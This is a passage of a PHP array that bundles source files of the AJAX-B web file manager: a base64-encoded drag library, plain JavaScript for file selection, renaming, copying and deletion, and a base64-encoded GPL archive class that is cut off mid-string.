  './AJAX-B/scripts/Dom-drag.js' => 'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCiAqIGRvbS1kcmFnLmpzID0+IDEwLjIwMDEKICogd3d3LnlvdW5ncHVwLm5ldAogKiBodHRwOi8vd3d3LmR5bmFtaWNkcml2ZS5jb20vZHluYW1pY2luZGV4MTEvZG9tZHJhZy8KICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLwovLyA8c2NyaXB0IGxhbmd1YWdlPSdqYXZhc2NyaXB0Jz4KLy8gCURyYWcuaW5pdChJRCgnYmFycmFfZGUgX3RpdHJlX3NlbnNpYmxlX29fZGVwbGFjZW1lbnQnKSwgSUQoJ2NvbnRlbmV1cl9kZXBsYWPDqScpKTsKLy8gCUlEKCdiYXJyYV9kZSBfdGl0cmVfc2Vuc2libGVfb19kZXBsYWNlbWVudCcpLm9uRHJhZyA9IGZ1bmN0aW9uKHgsIHkpIHtzY3JvbGxkaXYuc3R5bGUudG9wPXkgKiAoLTEpICsncHgnO30KLy8gPC9zY3JpcHQ+Cgp2YXIgRHJhZyA9IHsKCW9iaiA6IG51bGwsCglpbml0IDogZnVuY3Rpb24obywgb1Jvb3QsIG1pblgsIG1heFgsIG1pblksIG1heFksIGJTd2FwSG9yelJlZiwgYlN3YXBWZXJ0UmVmLCBmWE1hcHBlciwgZllNYXBwZXIpCgl7CgkJby5vbm1vdXNlZG93bgkJPSBEcmFnLnN0YXJ0OwoJCW8uaG1vZGUJCQk9IGJTd2FwSG9yelJlZiA/IGZhbHNlIDogdHJ1ZSA7CgkJby52bW9kZQkJCT0gYlN3YXBWZXJ0UmVmID8gZmFsc2UgOiB0cnVlIDsKCQlvLnJvb3QgPSBvUm9vdCAmJiBvUm9vdCAhPT0gbnVsbCA/IG9Sb290IDogbyA7CgkJaWYgKG8uaG1vZGUgICYmIGlzTmFOKHBhcnNlSW50KG8ucm9vdC5zdHlsZS5sZWZ0ICApKSkge28ucm9vdC5zdHlsZS5sZWZ0ICAgPSAnMHB4Jzt9CgkJaWYgKG8udm1vZGUgICYmIGlzTmFOKHBhcnNlSW50KG8ucm9vdC5zdHlsZS50b3AgICApKSkge28ucm9vdC5zdHlsZS50b3AgICAgPSAnMHB4Jzt9CgkJaWYgKCFvLmhtb2RlICYmIGlzTmFOKHBhcnNlSW50KG8ucm9vdC5zdHlsZS5yaWdodCApKSkge28ucm9vdC5zdHlsZS5yaWdodCAgPSAnMHB4Jzt9CgkJaWYgKCFvLnZtb2RlICYmIGlzTmFOKHBhcnNlSW50KG8ucm9vdC5zdHlsZS5ib3R0b20pKSkge28ucm9vdC5zdHlsZS5ib3R0b20gPSAnMHB4Jzt9CgkJby5taW5YCT0gdHlwZW9mIG1pblggIT0gJ3VuZGVmaW5lZCcgPyBtaW5YIDogbnVsbDsKCQlvLm1pblkJPSB0eXBlb2YgbWluWSAhPSAndW5kZWZpbmVkJyA/IG1pblkgOiBudWxsOwoJCW8ubWF4WAk9IHR5cGVvZiBtYXhYICE9ICd1bmRlZmluZWQnID8gbWF4WCA6IG51bGw7CgkJby5tYXhZCT0gdHlwZW9mIG1heFkgIT0gJ3VuZGVmaW5lZCcgPyBtYXhZIDogbnVsbDsKCQlvLnhNYXBwZXIgPSBmWE1hcHBlciA/IGZYTWFwcGVyIDogbnVsbDsKCQlvLnlNYXBwZXIgPSBmWU1hcHBlciA/IGZZTWFwcGVyIDogbnVsbDsKCQlvLnJvb3Qub25EcmFnU3RhcnQJPSBuZXcgRnVuY3Rpb24oKTsKCQlvLnJvb3Qub25EcmFnRW5kCT0gbmV3IEZ1bmN0aW9uKCk7CgkJby5yb290Lm9uRHJhZwkJPSBuZXcgRnVuY3Rpb24oKTsKCX0sCglzdGFydCA6IGZ1bmN0aW9uKGUpCgl7CgkJRHJhZy5vYmogPSB0aGlzOwoJCXZhciBvID0gdGhpczsKCQllID0gRHJhZy5maXhFKGUpOwoJCXZhciB5ID0gcGFyc2VJbnQoby52bW9kZSA/IG8ucm9vdC5zdHlsZS50b3AgIDogby5yb290LnN0eWxlLmJvdHRvbSk7CgkJdmFyIHggPSBwYXJzZUludChvLmhtb2RlID8gby5yb290LnN0eWxlLmxlZnQgOiBvLnJvb3Quc3R5bGUucmlnaHQgKTsKCQlvLnJvb3Qub25EcmFnU3RhcnQoeCwgeSk7CgkJby5sYXN0TW91c2VYCT0gZS5jbGllbnRYOwoJCW8ubGFzdE1vdXNlWQk9IGUuY2xpZW50WTsKCQlpZiAoby5obW9kZSkKCQl7CgkJCWlmIChvLm1pblggIT09IG51bGwpIHtvLm1pbk1vdXNlWCA9IGUuY2xpZW50WCAtIHggKyBvLm1pblg7fQoJCQlpZiAoby5tYXhYICE9PSBudWxsKSB7by5tYXhNb3VzZVggPSBvLm1pbk1vdXNlWCArIG8ubWF4WCAtIG8ubWluWDt9CgkJfQoJCWVsc2UKCQl7CgkJCWlmIChvLm1pblggIT09IG51bGwpIHtvLm1heE1vdXNlWCA9IC1vLm1pblggKyBlLmNsaWVudFggKyB4O30KCQkJaWYgKG8ubWF4WCAhPT0gbnVsbCkge28ubWluTW91c2VYID0gLW8ubWF4WCArIGUuY2xpZW50WCArIHg7fQoJCX0KCQlpZiAoby52bW9kZSkKCQl7CgkJCWlmIChvLm1pblkgIT09IG51bGwpIHtvLm1pbk1vdXNlWSA9IGUuY2xpZW50WSAtIHkgKyBvLm1pblk7fQoJCQlpZiAoby5tYXhZICE9PSBudWxsKSB7by5tYXhNb3VzZVkgPSBvLm1pbk1vdXNlWSArIG8ubWF4WSAtIG8ubWluWTt9CgkJfQoJCWVsc2UKCQl7CgkJCWlmIChvLm1pblkgIT09IG51bGwpIHtvLm1heE1vdXNlWSA9IC1vLm1pblkgKyBlLmNsaWVudFkgKyB5O30KCQkJaWYgKG8ubWF4WSAhPT0gbnVsbCkge28ubWluTW91c2VZID0gLW8ubWF4WSArIGUuY2xpZW50WSArIHk7fQoJCX0KCQlkb2N1bWVudC5vbm1vdXNlbW92ZQk9IERyYWcuZHJhZzsKCQlkb2N1bWVudC5vbm1vdXNldXAJPSBEcmFnLmVuZDsKCQlyZXR1cm4gZmFsc2U7Cgl9LAoJZHJhZyA6IGZ1bmN0aW9uKGUpCgl7CgkJZSA9IERyYWcuZml4RShlKTsKCQl2YXIgbyA9IERyYWcub2JqOwoJCXZhciBleQk9IGUuY2xpZW50WTsKCQl2YXIgZXgJPSBlLmNsaWVudFg7CgkJdmFyIHkgPSBwYXJzZUludChvLnZtb2RlID8gby5yb290LnN0eWxlLnRvcCAgOiBvLnJvb3Quc3R5bGUuYm90dG9tKTsKCQl2YXIgeCA9IHBhcnNlSW50KG8uaG1vZGUgPyBvLnJvb3Quc3R5bGUubGVmdCA6IG8ucm9vdC5zdHlsZS5yaWdodCApOwoJCXZhciBueCwgbnk7CgkJaWYgKG8ubWluWCAhPT0gbnVsbCkge2V4ID0gby5obW9kZSA/IE1hdGgubWF4KGV4LCBvLm1pbk1vdXNlWCkgOiBNYXRoLm1pbihleCwgby5tYXhNb3VzZVgpO30KCQlpZiAoby5tYXhYICE9PSBudWxsKSB7ZXggPSBvLmhtb2RlID8gTWF0aC5taW4oZXgsIG8ubWF4TW91c2VYKSA6IE1hdGgubWF4KGV4LCBvLm1pbk1vdXNlWCk7fQoJCWlmIChvLm1pblkgIT09IG51bGwpIHtleSA9IG8udm1vZGUgPyBNYXRoLm1heChleSwgby5taW5Nb3VzZVkpIDogTWF0aC5taW4oZXksIG8ubWF4TW91c2VZKTt9CgkJaWYgKG8ubWF4WSAhPT0gbnVsbCkge2V5ID0gby52bW9kZSA/IE1hdGgubWluKGV5LCBvLm1heE1vdXNlWSkgOiBNYXRoLm1heChleSwgby5taW5Nb3VzZVkpO30KCQlueCA9IHggKyAoKGV4IC0gby5sYXN0TW91c2VYKSAqIChvLmhtb2RlID8gMSA6IC0xKSk7CgkJbnkgPSB5ICsgKChleSAtIG8ubGFzdE1vdXNlWSkgKiAoby52bW9kZSA/IDEgOiAtMSkpOwoJCWlmIChvLnhNYXBwZXIpCQl7bnggPSBvLnhNYXBwZXIoeSl9CgkJZWxzZSBpZiAoby55TWFwcGVyKQl7bnkgPSBvLnlNYXBwZXIoeCl9CgkJRHJhZy5vYmoucm9vdC5zdHlsZVtvLmhtb2RlID8gJ2xlZnQnIDogJ3JpZ2h0J10gPSBueCArICdweCc7CgkJRHJhZy5vYmoucm9vdC5zdHlsZVtvLnZtb2RlID8gJ3RvcCcgOiAnYm90dG9tJ10gPSBueSArICdweCc7CgkJRHJhZy5vYmoubGFzdE1vdXNlWAk9IGV4OwoJCURyYWcub2JqLmxhc3RNb3VzZVkJPSBleTsKCQlEcmFnLm9iai5yb290Lm9uRHJhZyhueCwgbnkpOwoJCXJldHVybiBmYWxzZTsKCX0sCgllbmQgOiBmdW5jdGlvbigpCgl7CgkJZG9jdW1lbnQub25tb3VzZW1vdmUgPSBudWxsOwoJCWRvY3VtZW50Lm9ubW91c2V1cCAgID0gbnVsbDsKCQlEcmFnLm9iai5yb290Lm9uRHJhZ0VuZCgJcGFyc2VJbnQoRHJhZy5vYmoucm9vdC5zdHlsZVtEcmFnLm9iai5obW9kZSA/ICdsZWZ0JyA6ICdyaWdodCddKSwKCQkJCQkJCQkJcGFyc2VJbnQoRHJhZy5vYmoucm9vdC5zdHlsZVtEcmFnLm9iai52bW9kZSA/ICd0b3AnIDogJ2JvdHRvbSddKSk7CgkJRHJhZy5vYmogPSBudWxsOwoJfSwKCWZpeEUgOiBmdW5jdGlvbihlKQoJewoJCWlmICh0eXBlb2YgZSA9PSAndW5kZWZpbmVkJykge2UgPSB3aW5kb3cuZXZlbnQ7fQoJCWlmICh0eXBlb2YgZS5sYXllclggPT0gJ3VuZGVmaW5lZCcpIHtlLmxheWVyWCA9IGUub2Zmc2V0WDt9CgkJaWYgKHR5cGVvZiBlLmxheWVyWSA9PSAndW5kZWZpbmVkJykge2UubGF5ZXJZID0gZS5vZmZzZXRZO30KCQlyZXR1cm4gZTsKCX0KfTs=',
  './AJAX-B/scripts/Dom-event.js' => 'var SelectLst = new Array();
var PtrItem, dragFiles, Dest;

function _esc ()
{
	UnSelectAll ();
	ID('Menu').style.display = 'none';
	ID('Box').style.display = 'none';
	ID('SlideLet').style.display = 'none';
	ID('CpMvSlide').style.display = 'none';
	ID('renOne').style.display = 'none';
	ID('FindFilter').style.visibility='hidden';
	dragFiles = false;
	document.onmousemove = null;
}
function _view (item64, event)
{
	if (is_dir(base64.decode(item64)))
	{
		if(event.ctrlKey)
		{
			PtrWindow = window.open(ServActPage+"?mode="+mode+"&racine64="+item64+"&match="+match, "racine64"+item64,"menubar,toolbar,location,resizable,scrollbars,status");
			if (PtrWindow === null) {alert (ABS907);}
			else {PtrWindow.focus();}
		}
		else
			{location.href=ServActPage+"?mode="+mode+"&racine64="+item64+"&match="+match;}
	}
	else
	{
		PtrWindow = window.open(ServActPage+"?mode=request&view="+item64, "view_"+item64,"menubar,toolbar,location,resizable,scrollbars,status");
		if (PtrWindow === null) {alert (ABS907);}
		else {PtrWindow.focus();}
	}
}
function _enter (event)
{
	SelectLst.forEach(function(element, index, array)
	{
		if (!is_dir(base64.decode(element)) || event.ctrlKey)
			{_view (element, event);}
		else if (mode=='gallerie')
		{
			PtrWindow = window.open(ServActPage+"?mode="+mode+"&racine64="+element+"&match="+match, "racine64"+element,"menubar,toolbar,location,resizable,scrollbars,status");
			if (PtrWindow === null) {alert (ABS907);}
			else {PtrWindow.focus();}
		}
		else if (mode=='arborescence')
			{RequestLoad(element);}
	});
	UnSelectAll ();
}
function _upload()
{
	PtrWindow = window.open(ServActPage+"?mode=request&dest="+getDest()+'&upload=', getDest(),"menubar=no,toolbar=no,tabbar=no,locationbar=no,resizable,scrollbars,status,top=0,left=0,width=450,height=50");
	if (PtrWindow === null) {alert (ABS907);}

}
function _uncompress()
{
	highlight ();
	RQT.get(ServActPage,
		{
			parameters:'mode=request&uncompress='+SelectLst.join(','),
			onEnd:'UnSelectAll();request.responseText.split(",").forEach(function(element, index, array){RequestLoad(element,true);});'
		}
	);
}
function _new ()
{
	dest = base64.decode(getDest());
	newitem = prompt(dest+"\n"+ABS908+"\n("+ABS909+"):\n", "New/");
	if(newitem)
	{
		RQT.get(ServActPage,
			{
				parameters:'mode=request&newitem='+base64.encode( dest + newitem),
				onEnd:'if (ID(base64.encode(dest))) RequestLoad("'+base64.encode(dest)+'",true);'
			}
		);
	}
}
function _multiRename ()
{
	mask = prompt (ABS910+"\n"+ABS911+" :\n*	=> "+ABS912+"\n~	=> "+ABS913+"\n#	=> "+ABS914+"\n!	=> "+ABS915+"\n"+ABS916+" : ~ - * (#)!\n./MyDir/MyFile.EXT >> ./MyDir/MyDir - MyFile (1)","~ - *.tmp");
	if(mask)
	{
		RQT.get(ServActPage,
			{
				parameters:'mode=request&mask='+base64.encode(mask)+'&renitems='+SelectLst.join(','),
				onEnd:'UnSelectAll();request.responseText.split(",").forEach(function(element, index, array){RequestLoad(element,true);});'
			}
		);
	}
}
function _rename ()
{
	if (SelectLst.length==1)
	{
		ptrRen = ID("renOne");
		baliseName = ID(SelectLst[0]).childNodes[0].childNodes[0].childNodes[1].childNodes[1];
		ptrRen.style.top = (baliseName.offsetTop)+"px";
		ptrRen.style.left = baliseName.offsetLeft+"px";
		ptrRen.style.display = "block";
		ptrRen.defaultValue = SelectLst[0];
		ptrRen.value = basename(base64.decode(SelectLst[0]));
		ptrRen.focus();
	}
	else if (SelectLst.length>1) {_multiRename ();}
	dragFiles = false;
}
function _sendRen()
{
	ptrRen = ID("renOne");
	RQT.get(ServActPage,
		{
			parameters:'mode=request&renitem='+ptrRen.defaultValue+'&mask='+base64.encode(ptrRen.value),
			onEnd:'ID("renOne").style.display = "none";UnSelectAll();RequestLoad(request.responseText,true);'
		}
	);
}
function _copy ()
{
	if (SelectLst.length>0)
	{
		highlight ();
		RQT.get(ServActPage,
			{
				parameters:'mode=request&copyitems='+SelectLst.join(','),
				onEnd:false
			}
		);
	}
}
function _cut ()
{
	if (SelectLst.length>0)
	{
		highlight ();
		RQT.get(ServActPage,
			{
				parameters:'mode=request&moveitems='+SelectLst.join(','),
				onEnd:false
			}
		);
	}
}
function _copy_paste ()
{
	if (SelectLst.length>0)
	{
		highlight ();
		RQT.get(ServActPage,
			{
				parameters:'mode=request&dest='+dirDest(PtrItem.id)+'&copyitems='+SelectLst.join(','),
				onEnd:'UnSelectAll();request.responseText.split(",").forEach(function(element, index, array){RequestLoad(element,true);});'
			}
		);
	}
}
function _cut_paste ()
{
	if (SelectLst.length>0)
	{
		highlight ();
		RQT.get(ServActPage,
			{
				parameters:'mode=request&dest='+dirDest(PtrItem.id)+'&moveitems='+SelectLst.join(','),
				onEnd:'UnSelectAll();request.responseText.split(",").forEach(function(element, index, array){RequestLoad(element,true);});'
			}
		);
	}
}
function _paste()
{
	RQT.get(ServActPage,
		{
			parameters:'mode=request&pastedest='+getDest(),
			onEnd:'UnSelectAll();request.responseText.split(",").forEach(function(element, index, array){RequestLoad(element,true);});'
		}
	);
}
function _remove ()
{
	highlight ();
	strLst = Array();
	SelectLst.forEach(function(element, index, array) {this.push(basename(base64.decode(element)));}, strLst);
	if (SelectLst.length>0 && confirm (ABS917+"\n\n"+strLst.join('\n')))
	{
		RQT.get(ServActPage,
			{
				parameters:'mode=request&supitems='+SelectLst.join(','),
				onEnd:'UnSelectAll();request.responseText.split(",").forEach(function(element, index, array){ID(element).style.display="none"});'
			}
		);
	}
	dragFiles = false;
}
function _rightClick (event)
{
	ID('Box').style.display = 'none';
	dragFiles = false;
	ThisItem = PtrItem.id;
	ptr = ID('Menu');
	Drag.init(ID('MDragZone'), ptr);
	ptr.childNodes[0].firstChild.innerHTML = basename(base64.decode(ThisItem));
	ptr.style.top = event.pageY;
	ptr.style.left = event.pageX;
	if (SelectLst.indexOf(ThisItem)==-1)
	{
		UnSelectAll ();
		SelectLst.push(ThisItem);
		ChangeBG (PtrItem, true);
	}
	ObjInnerView (ptr);
	return false;
}
function UnSelectAll ()
{
	dragFiles = false;
	SelectLst.forEach(function(element, index, array){if (ID(element)){ChangeBG(ID(element), false);}})
	SelectLst = new Array();
}
function _properties()
{
	if (SelectLst.length>0)
	{
		highlight ();
		ID('DragZone').childNodes[0].innerHTML='Propriete(s)';
		PopBox('mode=request&infos='+SelectLst.join(',')+'&match='+match,'OpenBox(request.responseText);');
	}
}
function _match(filter)
{
	location.href=ServActPage+"?mode="+mode+"&racine64="+racine64+"&match="+filter;
}
function _download(cmpMode)
{
	if (SelectLst.length>0)
	{
		highlight ();
		NewWin = window.open(ServActPage+'?mode=request&type='+cmpMode+'&download='+SelectLst.join(',')+'&match='+match, 'download','top=0,left=0,width=300,height=300');
		NewWin.setTimeout("close()",60000);
	}
}
function StopEvent(evt)
{
	if (evt.stopPropagation)
	{
		evt.stopPropagation();
	}
	if (evt.preventDefault)
	{
		evt.preventDefault();
	}
	evt.returnValue = false;
	evt.cancelBubble = true;
	return false;
}
function ManageMouseEvent(event)
{
	StopEvent(event);
	dragFiles = false;
	if ((event.button === 0 || event.button == 1) && event.shiftKey && SelectLst.length > 0)
	{// SHIFT select
		tmp = new Array(base64.decode(SelectLst[SelectLst.length - 1]), base64.decode(PtrItem.id));
		if (is_dir(tmp[0]) != is_dir(tmp[1]))
		{
			if (is_dir(tmp[0]))
			{
				limitSel = tmp;
			}
			else
			{
				limitSel = new Array(tmp[1], tmp[0]);
			}
		}
		else
		{
			limitSel = tmp.sort();
		}
		limitSel = Array(ID(base64.encode(limitSel[0])), ID(base64.encode(limitSel[1])));
		nextPtr = limitSel[0];
		while (nextPtr.id != limitSel[1].id)
		{
			if (SelectLst.indexOf(nextPtr.id) == -1)
			{
				ChangeBG (nextPtr, true);
				SelectLst.push(nextPtr.id);
			}
			if (nextPtr.nextSibling===null) { break;}
			nextPtr = nextPtr.nextSibling;
		}
		if (SelectLst.indexOf(nextPtr.id)==-1)
		{
			ChangeBG (nextPtr, true);
			SelectLst.push(nextPtr.id);
		}
	}
	else if ((event.button===0 || event.button==1) && event.ctrlKey)
	{// Add by CTRL select
		if (SelectLst.indexOf(PtrItem.id)!=-1)
		{
			ChangeBG (PtrItem, false);
			SelectLst.splice(SelectLst.indexOf(PtrItem.id),1);
		}
		else
		{
			ChangeBG (PtrItem, true);
			SelectLst.push(PtrItem.id);
		}
	}
	else if (event.button===0 || event.button==1)
	{// InitSel
		_esc ();
		ChangeBG (PtrItem, true);
		SelectLst.push(PtrItem.id);
	}
	else if (event.button==2) // Menu click droit
		{ return _rightClick (event);}
	return false;
}
function ManageKeyboardEvent (event)
{
	if (ID('renOne').style.display=='block')
	{
		if (event.keyCode==13 ) // ENTER
			{_sendRen ();}
		else if (event.keyCode==27) // ESC
			{_esc ();}
		return false;
	}
	else if (ID('FindFilter').style.visibility=='visible')
	{
		if (event.keyCode==13 ) // ENTER
			{_match (ID('matchFilter').value);}
		else if (event.keyCode==27) // ESC
			{_esc ();}
		return false;
	}
// 	else {StopEvent(event);}
	
	if (event.keyCode==13) // ENTER
		{_enter (event);}
	else if (event.keyCode==27) // ESC
	{
		RQT.get(ServActPage,
			{
				parameters:'mode=request&noitems=',
				onEnd:false
			}
		);
		_esc ();
	}
	else if (event.keyCode==113 && event.shiftKey) // MULTI_RENOMER
		{_multiRename ();}
	else if (event.keyCode==113) // RENOMER
		{_rename ();}
	else if ((event.charCode==120 || event.charCode==24) && event.ctrlKey) // COUPER
		{_cut ();}
	else if ((event.charCode==99 || event.charCode==3) && event.ctrlKey) // COPIER
		{_copy();}
	else if ((event.charCode==118 || event.charCode==22) && event.ctrlKey) // COLLER
		{_paste();}
	else if ((event.keyCode==46 || event.keyCode==127) && event.charCode===0) // SUPPRIMER
		{_remove ();}
/*	else if ((event.keyCode==xx || event.keyCode==xx) && event.charCode===0) // PROPRIETEE
		{_properties ();}*/
	return false;
}
function ManageAllEvent(event)
{
	var etarget = event.target ? event.target : event.srcElement; // differance IE7
	PtrItem = findItem64(etarget);
	ID('Menu').style.display = 'none';
	document.onmousemove = null;
	if (PtrItem)
	{
		if(event.type=='mouseup')
		{
			(ptrSel = ID('CpMvSlide')).style.display = 'none';
			ptrSel.innerHTML = '';
			(ptrm = ID('SlideLet')).style.display = 'none';
			if (dragFiles && dragFiles!=PtrItem.id)
			{
				dragFiles = false;
				ptrSel.style.top = (event.pageY?event.pageY:event.y)+2;
				ptrSel.style.left = (event.pageX?event.pageX:event.x)+2;
				ptrm.style.display = 'block';
			}
			else
			{
				return new ManageMouseEvent (event);
			}
		}
		else if (event.type=='mousedown')
		{
			if (SelectLst.indexOf(PtrItem.id)!=-1)
			{
				dragFiles = PtrItem.id;
				ptrSel = ID('CpMvSlide');
				ptrSel.innerHTML = innerICOs();
				Drag.init(ptrSel, ptrSel);
				ptrSel.style.top = (event.pageY?event.pageY:event.y)+2;
				ptrSel.style.left = (event.pageX?event.pageX:event.x)+2;
				ptrSel.style.display = 'block';
				document.onmousemove = function (event)
				{
					ptrSel.style.top = (event.pageY?event.pageY:event.y)+2;
					ptrSel.style.left = (event.pageX?event.pageX:event.x)+2;
				};
			}
		}
	}
	else 
	{
		return false;
	}
}
',
  './AJAX-B/scripts/EasyArchive.class.php' => 'PD9waHAKLyoqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogfCBFYXN5QXJjaGl2ZS5jbGFzcyBWMC44IC0gIGJ5IEFsYmFuIExPUEVaCiB8IENvcHlyaWdodCAoYykgMjAwNyBBbGJhbiBMT1BFWgogfCBFbWFpbCBidWdzL3N1Z2dlc3Rpb25zIHRvIGFsYmFuLmxvcGV6K2VhenlhcmNoaXZlQGdtYWlsLmNvbQogKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiB8IFRoaXMgZmlsZSBpcyBwYXJ0IG9mIEVhc3lBcmNoaXZlLmNsYXNzIFYwLjkuCiB8IEVhc3lBcmNoaXZlIGlzIGZyZWUgc29mdHdhcmU6IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9vciBtb2RpZnkKIHwgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKIHwgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgZWl0aGVyIHZlcnNpb24gMyBvZiB0aGUgTGljZW5zZSwgb3IKIHwgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KIHwgRWFzeUFyY2hpdmUgaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwKIHwgYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKIHwgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLgogfCBTZWUgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMgb24gaHR0cDovL3d3dy5nbnUub3JnL2xpY2Vuc2VzLwogKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICoqLwovL3d3dy5waHBjbGFzc2VzLm9yZy9icm93c2UvcGFja2FnZS80MjM5Lmh0bWwKCglyZXF1aXJlIChkaXJuYW1lKF9fRklMRV9fKS4nL0Vhc3laaXAuY2xhc3MucGhwJyk7CglyZXF1aXJlIChkaXJuYW1lKF9fRklMRV9fKS4nL0Vhc3lUYXIuY2xhc3MucGhwJyk7CglyZXF1aXJlIChkaXJuYW1lKF9fRklMRV9fKS4nL0Vhc3lHemlwLmNsYXNzLnBocCcpOwoJcmVxdWlyZSAoZGlybmFtZShfX0ZJTEVfXykuJy9FYXN5QnppcDIuY2xhc3MucGhwJyk7CgovKioKLy8gWW91IGNhbiB1c2UgdGhpcyBjbGFzcyBsaWtlIHRoYXQuCiRhcmNoID0gbmV3IGFyY2hpdmU7CiRhcmNoLT5tYWtlKCcuLycsICcuL2FyY2hpdmUudGFyLmd6aXAnKTsKdmFyX2V4cG9ydCgkYXJjaC0+aW5mb3MoJy4vdG90by5iemlwMicpKTsKJGFyY2gtPmV4dHJhY3QoJy4vdG90by56aXAnLCAnLi9teV9kaXIvJyk7CiRhcmNoLT5kb3dubG9hZCgnLi9teV9kaXIvJyk7CioqLwoKY2xhc3MgYXJjaGl2ZQp7Cgl2YXIgJFdhdGhBcmNoaXZlID0gYXJyYXkgKAoJCScuemlwJwkJPT4nemlwJywKCQknLnRhcicJCT0+J3RhcicsCgkJJy5neicJCT0+J2d6JywKCQknLmd6aXAnCQk9PidneicsCgkJJy5iemlwJwkJPT4nYnonLAoJCScuYnonCQk9PidieicsCgkJJy5iemlwMicJPT4nYnonLAoJCScuYnoyJwkJPT4nYnonLAoJCScudGd6JwkJPT4nZ3onLAoJCScudGd6aXAnCT0+J2d6JywKCQknLnRiemlwJwk9PidieicsCgkJJy50YnonCQk9PidieicsCgkJJy50YnppcDInCT0+J2J6JywKCQknLnRiejInCQk9PidieicsCgkpOwoJZnVuY3Rpb24gZG93bmxvYWQgKCRzcmMsICRuYW1lKQoJewoJCWhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9mb3JjZS1kb3dubG9hZCcpOwoJCWhlYWRlcigiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmluYXJ5Iik7CgkJaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBtYXgtYWdlPTYwIik7CgkJaGVhZGVyKCJFeHBpcmVzOiBTYXQsIDAxIEphbiAyMDAwIDEyOjAwOjAwIEdNVCIpOwoJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0iJy4kbmFtZS4iXCJcbiIpOwoJCSRkYXRhID0gJHRoaXMtPm1ha2UoJHNyYywgJG5hbWUsIGZhbHNlKTsKCQloZWFkZXIoIkNvbnRlbnQtTGVuZ3RoOiAiLnN0cmxlbigkZGF0YSkpOwoJCXByaW50KCRkYXRhKTsKCX0KCWZ1bmN0aW9uIG1ha2UgKCRzcmMsICRuYW1lPSJBcmNoaXZlLnRneiIsICRyZXR1cm5GaWxlPXRydWUpCgl7CgkJJGV4dCA9ICcuJy5wYXRoaW5mbyAoJG5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7CgkJZm9yZWFjaCAoJHRoaXMtPldhdGhBcmNoaXZlIGFzICRrZXk9PiR2YWwpCgkJCWlmIChzdHJpcG9zKCRleHQsICRrZXkpIT09ZmFsc2UpICRjb21wPSR2YWw7CgkJaWYgKCRjb21wID09ICd6aXAnKQoJCXsKCQkJJHppcCA9IG5ldyB6aXA7CgkJCWlmICgkcmV0dXJuRmlsZSkKCQkJCSRyZXN1bHQgPSAkemlwLT5tYWtlWmlwKCRzcmMsICRkZXN0KTsKCQkJZWxzZQoJCQl7CgkJCQkkdG1wWmlwID0gJy4vJy5tZDUoc2VyaWFsaXplKCRzcmMpKS4nLnppcCc7CgkJCQkkcmVzdWx0ID0gJHppcC0+bWFrZVppcCgkc3JjLCAkdG1wWmlwKTsKCQkJCSRyZXN1bHQgPSBmaWxlX2dldF9jb250ZW50cygkdG1wWmlwKTsKCQkJCXVubGluaygkdG1wWmlwKTsKCQkJfQoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9CgkJZWxzZWlmIChzdHJsZW4oJGNvbXApPjEpCgkJewoJCQlpZiAoY291bnQoJHNyYyk+MSB8fCBpc19kaXIoJHNyY1swXSkgfHwgJGNvbXAgPT0gJ3RhcicpCgkJCXsKCQkJCSR0YXIgPSBuZXcgdGFyOwoJCQkJJHNyYyA9ICR0YXItPm1ha2VUYXIoJHNyYyk7CgkJCX0KCQkJaWYgKCRjb21wID09ICdieicpCgkJCXsKCQkJCSRiemlwMiA9IG5ldyBiemlwMjsKCQkJCSRzcmMgPSAkYnppcDItPm1ha2VCemlwMigkc3JjKTsKCQkJfQoJCQllbHNlaWYgKCRjb21wID09ICdneicpCgkJCXsKCQkJCSRnemlwID0gbmV3IGd6aXA7CgkJCQkkc3JjID0gJGd6aXAtPm1ha2VHemlwKCRzcmMpOwoJCQl9CgkJCWlmICgkcmV0dXJuRmlsZSkKCQkJewoJCQkJZmlsZV9wdXRfY29udGVudHMoJGRlc3QsICRzcmMpOwoJCQkJcmV0dXJuICRkZXN0OwoJCQl9CgkJCXJldHVybiAkc3JjOwoJCX0KCQllbHNlIHJldHVybiAnU3BlY2lmaWUgYSB2YWxpZCBmb3JtYXQgYXQgdGhlIGVuZCBvZiAnLiRuYW1lLicgZmlsZW5hbWUgISAnOwoJfQoJZnVuY3Rpb24gaW5mb3MgKCRzcmMsICRkYXRhPWZhbHNlKQoJewoJCSRleHQgPSAnLicucGF0aGluZm8gKCRzcmMsIFBBVEhJTkZPX0VYVEVOU0lPTik7CgkJZm9yZWFjaCAoJHRoaXMtPldhdGhBcmNoaXZlIGFzICRrZXk9PiR2YWwpCgkJCWlmIChzdHJpcG9zKCRleHQsICRrZXkpIT09ZmFsc2UpICRjb21wPSR2YWw7CgkJaWYgKCRjb21wID09ICd6aXAnKQoJCXsKC